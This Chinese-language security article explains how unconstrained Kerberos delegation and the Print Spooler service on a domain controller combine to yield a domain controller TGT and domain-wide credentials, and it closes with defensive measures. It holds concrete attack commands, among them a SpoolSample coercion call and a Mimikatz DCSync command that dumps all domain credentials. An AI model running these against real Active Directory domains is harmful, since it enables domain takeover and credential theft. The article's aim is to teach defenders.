攻击者是如何通过域控制器打印机服务和无约束Kerberos委派账户获取最高权限的
字数 1501 2025-08-27 12:33:23
通过域控制器打印机服务和无约束Kerberos委派获取最高权限攻击分析
攻击概述
本攻击技术利用Active Directory中两个常见配置漏洞的组合来获取域管理员权限:
- 配置了无约束Kerberos委派的账户
- 域控制器上运行的Print Spooler服务
攻击者通过这两个条件的组合可以获取域控制器的TGT票证,进而完全控制整个域。
背景知识
无约束Kerberos委派
无约束Kerberos委派(Unconstrained Delegation)是Active Directory中的一种权限配置,允许服务代表用户向任何其他服务进行身份验证。当账户配置了无约束委派时,它可以接收其他用户的TGT票证,这是Kerberos身份验证中最敏感的凭据。
Print Spooler服务
Print Spooler是Windows系统中管理打印作业的服务。域控制器通常不需要运行此服务,但在许多环境中默认启用。该服务通过MS-RPRN协议处理远程打印请求。
攻击原理
攻击利用以下技术流程:
- 发现无约束委派账户:攻击者首先识别配置了无约束Kerberos委派的账户或计算机账户
- 控制委派账户:攻击者通过某种方式(如凭证窃取)控制该账户
- 定位运行Print Spooler的DC:扫描域控制器,寻找运行Print Spooler服务的DC
- 触发认证请求:向DC的Print Spooler服务发送
RpcRemoteFindFirstPrinterChangeNotification请求 - 捕获TGT票证:DC会向请求者(被控制的委派账户)发送包含其计算机账户TGT的响应
- 冒充域控制器:攻击者使用捕获的TGT票证可以完全冒充域控制器
- 执行DCSync攻击:使用域控制器的权限提取域中所有账户的凭据
详细攻击步骤
1. 识别无约束委派账户
使用PowerShell AD模块查找配置了委派的账户:
Get-ADObject -filter {
(UserAccountControl -BAND 0x0080000) -OR
(UserAccountControl -BAND 0x1000000) -OR
(msDS-AllowedToDelegateTo -like '*')
} -prop Name,ObjectClass,PrimaryGroupID,UserAccountControl,ServicePrincipalName,msDS-AllowedToDelegateTo
2. 控制委派账户
通过以下方式之一获取委派账户的控制权:
- 凭证窃取(如Mimikatz)
- 横向移动攻击
- 社会工程学攻击
3. 发现运行Print Spooler的DC
使用端口扫描或服务枚举工具识别运行Print Spooler的域控制器。
4. 触发认证请求
使用Lee Christensen发布的SpoolSample工具发送恶意打印通知请求:
SpoolSample.exe <DC_NAME> <ATTACKER_CONTROLLED_UNCONSTRAINED_DELEGATION_SYSTEM>
5. 捕获TGT票证
在被控制的委派系统上使用工具(如Rubeus)捕获来自DC的TGT票证。
6. 冒充域控制器
使用捕获的TGT票证生成服务票证,完全冒充域控制器。
7. 执行DCSync攻击
使用Mimikatz执行DCSync获取域中所有用户的凭据:
lsadump::dcsync /domain:domain.local /all
防御措施
1. 禁用不必要的Print Spooler服务
在所有域控制器和关键服务器上禁用Print Spooler服务:
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
2. 限制无约束委派的使用
- 将无约束委派替换为约束委派(Constrained Delegation)
- 定期审计环境中配置了委派的账户
- 为必须使用无约束委派的服务创建专用账户
3. 监控和检测
- 监控异常打印服务请求
- 监控异常的Kerberos票证请求
- 实施SIEM规则检测DCSync活动
4. 特权账户保护
- 实施特权访问工作站(PAW)
- 限制域管理员账户的使用
- 启用Credential Guard
参考资源
此攻击技术展示了Active Directory中看似无害的服务配置如何与权限设置结合产生严重的安全风险,强调了全面安全配置审计的重要性。